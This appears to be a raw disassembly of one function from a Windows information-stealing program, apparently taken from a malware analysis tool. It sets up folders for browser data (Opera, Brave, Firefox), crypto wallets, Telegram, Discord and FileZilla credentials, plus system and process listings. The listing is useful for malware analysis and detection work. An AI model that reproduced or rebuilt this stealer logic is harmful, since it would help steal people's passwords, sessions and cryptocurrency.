Function at 0x13f230088
Capabilities:
Create directory
Set current directory

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x4b8]
sub rsp, 0x5b0
mov rax, qword [0x13f268490]
xor rax, rsp
mov qword [rbp + 0x4a0], rax
call fcn.13f2331b0
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rcx, [0x13f25e1b8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
call fcn.13f2235d0
lea rcx, [rsp + 0x68]
mov rdx, rsi
call fcn.13f224f40
lea r8, [0x13f25e058]
lea rcx, [rbp - 0x48]
mov rdx, rax
call fcn.13f22a3e4
lea rcx, [rsp + 0x68]
call fcn.13f224f98
lea rcx, [rbp - 0x48]
call fcn.13f224fa4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rcx, [0x13f25e078]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rcx, [rbp - 0x70]
mov rdx, rsi
call fcn.13f224f40
lea r8, [0x13f25e1d8]
lea rcx, [rsp + 0x68]
mov rdx, rax
call fcn.13f22a3e4
lea r8, str.Browsers
lea rcx, [rbp + 8]
mov rdx, rax
call fcn.13f22a3e4
lea rcx, [rsp + 0x68]
call fcn.13f224f98
lea rcx, [rbp - 0x70]
call fcn.13f224f98
lea rcx, [rbp + 8]
call fcn.13f224fa4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rcx, [0x13f25e1f8]
call fcn.13f233e68
lea rcx, [0x13f25e2c8]
call fcn.13f233e68
lea rcx, [0x13f25e458]
call fcn.13f233e68
lea rcx, [0x13f25e538]
call fcn.13f233e68
lea rdx, [0x13f25e788]
lea rcx, [rsp + 0x68]
call fcn.13f224f40
lea rdx, [0x13f26bd68]
lea rcx, [rbp - 0x70]
mov rdi, rax
call fcn.13f22f5c8
lea rdx, [0x13f26bdb8]
lea rcx, [rsp + 0x40]
mov rbx, rax
call fcn.13f22f5c8
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.13f223720
lea rdx, [0x13f25e890]
lea rcx, [rsp + 0x40]
call fcn.13f224f40
lea rdx, [0x13f26bcc8]
lea rcx, [rsp + 0x68]
mov rdi, rax
call fcn.13f22f5c8
lea rdx, [0x13f26bc00]
lea rcx, [rbp - 0x70]
mov rbx, rax
call fcn.13f22f5c8
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.13f223720
lea rdx, [0x13f25e8a8]
lea rcx, [rsp + 0x40]
call fcn.13f224f40
lea rdx, [0x13f26bbd8]
lea rcx, [rsp + 0x68]
mov rdi, rax
call fcn.13f22f5c8
lea rdx, [0x13f26bc78]
lea rcx, [rbp - 0x70]
mov rbx, rax
call fcn.13f22f5c8
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.13f223720
lea rdx, [0x13f25e8b8]
lea rcx, [rsp + 0x40]
call fcn.13f224f40
lea rdx, [0x13f26bd18]
lea rcx, [rsp + 0x68]
mov rdi, rax
call fcn.13f22f5c8
lea rdx, [0x13f26bdb8]
lea rcx, [rbp - 0x70]
mov rbx, rax
call fcn.13f22f5c8
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.13f2241a0
lea rdx, [0x13f25e8c8]
lea rcx, [rsp + 0x40]
call fcn.13f224f40
lea rdx, [0x13f26bc28]
lea rcx, [rsp + 0x68]
mov rdi, rax
call fcn.13f22f5c8
lea rdx, [0x13f26bc00]
lea rcx, [rbp - 0x70]
mov rbx, rax
call fcn.13f22f5c8
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.13f2241a0
lea rdx, [0x13f25e8d8]
lea rcx, [rsp + 0x40]
call fcn.13f224f40
lea rdx, [0x13f26bde0]
lea rcx, [rsp + 0x68]
mov rdi, rax
call fcn.13f22f5c8
lea rdx, [0x13f26bc78]
lea rcx, [rbp - 0x70]
mov rbx, rax
call fcn.13f22f5c8
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.13f2241a0
lea rdx, [0x13f25e8e8]
lea rcx, [rsp + 0x40]
call fcn.13f224f40
lea rdx, [0x13f26bd18]
lea rcx, [rsp + 0x68]
mov rdi, rax
call fcn.13f22f5c8
lea rdx, [0x13f26bdb8]
lea rcx, [rbp - 0x70]
mov rbx, rax
call fcn.13f22f5c8
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.13f2245b8
lea rdx, [0x13f25e8f8]
lea rcx, [rsp + 0x40]
call fcn.13f224f40
lea rdx, [0x13f26bc28]
lea rcx, [rsp + 0x68]
mov rdi, rax
call fcn.13f22f5c8
lea rdx, [0x13f26bc00]
lea rcx, [rbp - 0x70]
mov rbx, rax
call fcn.13f22f5c8
mov r8, rdi
mov rcx, rax
mov rdx, rbx
call fcn.13f2245b8
lea rdx, [0x13f25e908]
lea rcx, [rsp + 0x40]
call fcn.13f224f40
lea rdx, [0x13f26bde0]
lea rcx, [rsp + 0x68]
mov rdi, rax
call fcn.13f22f5c8
lea rdx, [0x13f26bc78]
lea rcx, [rbp - 0x70]
mov rbx, rax
call fcn.13f22f5c8
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.13f2245b8
lea rdx, [0x13f25e918]
lea rcx, [rsp + 0x40]
call fcn.13f224f40
lea rdx, [0x13f26be58]
lea rcx, [rsp + 0x68]
mov rdi, rax
call fcn.13f22f5c8
lea rdx, [0x13f26bbb0]
lea rcx, [rbp - 0x70]
mov rbx, rax
call fcn.13f22f5c8
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.13f223a54
lea rdx, str.Opera
lea rcx, [rsp + 0x40]
call fcn.13f224f40
lea rdx, [0x13f26bd40]
lea rcx, [rsp + 0x68]
mov rdi, rax
call fcn.13f22f5c8
lea rdx, [0x13f26bbb0]
lea rcx, [rbp - 0x70]
mov rbx, rax
call fcn.13f22f5c8
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.13f223d64
lea rdx, [0x13f25e938]
lea rcx, [rsp + 0x40]
call fcn.13f224f40
lea rdx, [0x13f26bc50]
lea rcx, [rsp + 0x68]
mov rbx, rax
call fcn.13f22f5c8
mov rdx, rbx
mov rcx, rax
call fcn.13f2248bc
lea rdx, [0x13f25e948]
lea rcx, [rsp + 0x40]
call fcn.13f224f40
lea rdx, [0x13f26bca0]
lea rcx, [rsp + 0x68]
mov rbx, rax
call fcn.13f22f5c8
mov rdx, rbx
mov rcx, rax
call fcn.13f2248bc
lea rdx, [0x13f25e958]
lea rcx, [rsp + 0x40]
call fcn.13f224f40
lea rdx, [0x13f26bcf0]
lea rcx, [rsp + 0x68]
mov rbx, rax
call fcn.13f22f5c8
mov rcx, rax
mov rdx, rbx
call fcn.13f2248bc
lea rdx, [0x13f25e968]
lea rcx, [rsp + 0x40]
call fcn.13f224f40
lea rdx, [0x13f26be30]
lea rcx, [rsp + 0x68]
mov rbx, rax
call fcn.13f22f5c8
mov rdx, rbx
mov rcx, rax
call fcn.13f224a54
lea rdx, [0x13f25e978]
lea rcx, [rsp + 0x40]
call fcn.13f224f40
lea rdx, [0x13f26bd90]
lea rcx, [rsp + 0x68]
mov rbx, rax
call fcn.13f22f5c8
mov rdx, rbx
mov rcx, rax
call fcn.13f224a54
lea rdx, [0x13f25e988]
lea rcx, [rsp + 0x40]
call fcn.13f224f40
lea rdx, [0x13f26be08]
lea rcx, [rsp + 0x68]
mov rbx, rax
call fcn.13f22f5c8
mov rdx, rbx
mov rcx, rax
call fcn.13f224a54
lea rdx, [0x13f25e998]
lea rcx, [rsp + 0x40]
call fcn.13f224f40
lea rdx, [0x13f26bc50]
lea rcx, [rsp + 0x68]
mov rbx, rax
call fcn.13f22f5c8
mov rdx, rbx
mov rcx, rax
call fcn.13f224be0
lea rdx, [0x13f25e9a8]
lea rcx, [rsp + 0x40]
call fcn.13f224f40
lea rdx, [0x13f26bca0]
lea rcx, [rsp + 0x68]
mov rbx, rax
call fcn.13f22f5c8
mov rdx, rbx
mov rcx, rax
call fcn.13f224be0
lea rdx, str.Brave
lea rcx, [rsp + 0x40]
call fcn.13f224f40
lea rdx, [0x13f26bcf0]
lea rcx, [rsp + 0x68]
mov rbx, rax
call fcn.13f22f5c8
mov rdx, rbx
mov rcx, rax
call fcn.13f224be0
lea rcx, str.SOFTWAREClassesApplications_firefox.exe
call fcn.13f2348d0
test al, al
je 0x13f2306b3
lea rcx, [0x13f25e798]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea r8, str.Firefox
lea rdx, [rbp + 8]
lea rcx, [rbp - 0x70]
call fcn.13f229294
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x40]
call fcn.13f22f5c8
mov rcx, rax
call fcn.13f22a594
lea rcx, [rbp - 0x70]
call fcn.13f224f98
lea rcx, [rbp - 0x48]
call fcn.13f224fa4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rcx, str.Wallets
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x13f230727
call qword [sym.imp.KERNEL32.dll_GetLastError]
and qword [rsp + 0x30], 0
lea rcx, [rbp + 0x90]
mov dword [rsp + 0x28], 0x100
mov qword [rsp + 0x20], rcx
xor r9d, r9d
mov ecx, 0x1000
mov r8d, eax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
lea r8, str.Error
lea rdx, [rbp + 0x90]
mov r9d, 0x10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rcx, [rsp + 0x68]
mov rdx, rsi
call fcn.13f224f40
lea r8, str.CasperSecurityWallets
lea rcx, [rbp - 0x20]
mov rdx, rax
call fcn.13f22a3e4
lea rcx, [rsp + 0x68]
call fcn.13f224f98
lea rcx, [rbp - 0x20]
call fcn.13f224fa4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rdx, [rbp - 0x20]
lea rcx, [rsp + 0x40]
call fcn.13f22f5c8
mov rcx, rax
call fcn.13f22a028
lea rdx, [rbp - 0x20]
lea rcx, [rsp + 0x40]
call fcn.13f22f5c8
mov rcx, rax
call fcn.13f22a204
lea rdx, [rbp - 0x20]
lea rcx, [rsp + 0x40]
call fcn.13f22f5c8
mov rcx, rax
call fcn.13f22a2fc
lea rcx, [rbp - 0x48]
call fcn.13f224fa4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rcx, str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall53F49750_6209_4FBF_9CA8_7A333C87D1ED_is1
call fcn.13f2348d0
test al, al
je 0x13f23084e
lea rcx, [0x13f25ea78]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea r8, [0x13f25eb50]
lea rdx, [rbp - 0x48]
lea rcx, [rbp - 0x70]
call fcn.13f229294
lea rcx, [rbp - 0x70]
call fcn.13f224fa4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea r8, [0x13f25eb68]
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x68]
call fcn.13f229294
lea rcx, str.Telegram
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x40]
call fcn.13f22f5c8
mov rcx, rax
call fcn.13f22e370
lea rcx, [rsp + 0x68]
call fcn.13f224f98
lea rcx, [rbp - 0x70]
call fcn.13f224f98
lea rcx, str.SOFTWAREClassesDiscord
call fcn.13f2348d0
test al, al
je 0x13f2308e5
lea rcx, [0x13f25ebd0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea r8, str.Messengers
lea rdx, [rbp - 0x48]
lea rcx, [rbp - 0x70]
call fcn.13f229294
lea rcx, [rbp - 0x70]
call fcn.13f224fa4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea r8, [0x13f25ec00]
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x68]
call fcn.13f229294
lea rcx, str.Discord
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x40]
call fcn.13f22f5c8
mov rcx, rax
call fcn.13f22e4dc
lea rcx, [rsp + 0x68]
call fcn.13f224f98
lea rcx, [rbp - 0x70]
call fcn.13f224f98
lea rcx, [rsp + 0x68]
mov rdx, rsi
call fcn.13f224f40
lea r8, [0x13f25ec28]
lea rcx, [rbp + 0x30]
mov rdx, rax
call fcn.13f22a3e4
lea rcx, [rsp + 0x68]
call fcn.13f224f98
lea rcx, [rbp + 0x30]
call fcn.13f234868
test al, al
je 0x13f23095c
lea r8, str.FileZilla
lea rdx, [rbp - 0x48]
lea rcx, [rsp + 0x68]
call fcn.13f229294
lea rcx, [rsp + 0x68]
call fcn.13f224fa4
lea rcx, [rbp + 0x30]
mov rbx, rax
call fcn.13f224fa4
mov rdx, rbx
mov rcx, rax
call fcn.13f233690
lea rcx, [rsp + 0x68]
call fcn.13f224f98
lea rcx, [rbp - 0x48]
call fcn.13f224fa4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rdx, str.System.txt
lea rcx, [rsp + 0x68]
call fcn.13f224e18
lea rcx, [rsp + 0x68]
call fcn.13f22fbe8
lea rcx, [rsp + 0x68]
call fcn.13f224e88
lea rdx, str.Processes.txt
lea rcx, [rsp + 0x68]
call fcn.13f224e18
lea rcx, [rsp + 0x68]
call fcn.13f2340b8
lea rcx, [rsp + 0x68]
call fcn.13f224e88
lea rcx, [rbp - 0x48]
call fcn.13f224fa4
lea rcx, [rsp + 0x40]
mov rdx, rax
call fcn.13f224f40
mov rcx, rax
call fcn.13f22f540
call fcn.13f22f794
call fcn.13f234130
lea rcx, [0x13f25ec78]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rdx, [rbp - 0x48]
lea rcx, [rsp + 0x68]
call fcn.13f22f5c8
lea r8, str.Grabber
lea rcx, [rbp + 0x58]
mov rdx, rax
call fcn.13f22a3e4
lea rcx, [rsp + 0x68]
call fcn.13f224f98
lea rcx, [rbp + 0x290]
call fcn.13f233c80
lea rcx, [rbp + 0x80]
call fcn.13f233cc8
lea rcx, [rbp + 0x58]
call fcn.13f224fa4
lea rcx, [rbp + 0x290]
mov rdx, rax
call fcn.13f233458
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rcx, [rbp + 0x58]
call fcn.13f224f98
lea rcx, [rbp + 0x30]
call fcn.13f224f98
lea rcx, [rbp - 0x20]
call fcn.13f224f98
lea rcx, [rbp + 8]
call fcn.13f224f98
lea rcx, [rbp - 0x48]
call fcn.13f224f98
mov rcx, qword [rbp + 0x4a0]
xor rcx, rsp
call fcn.13f23c0b0
lea r11, [rsp + 0x5b0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret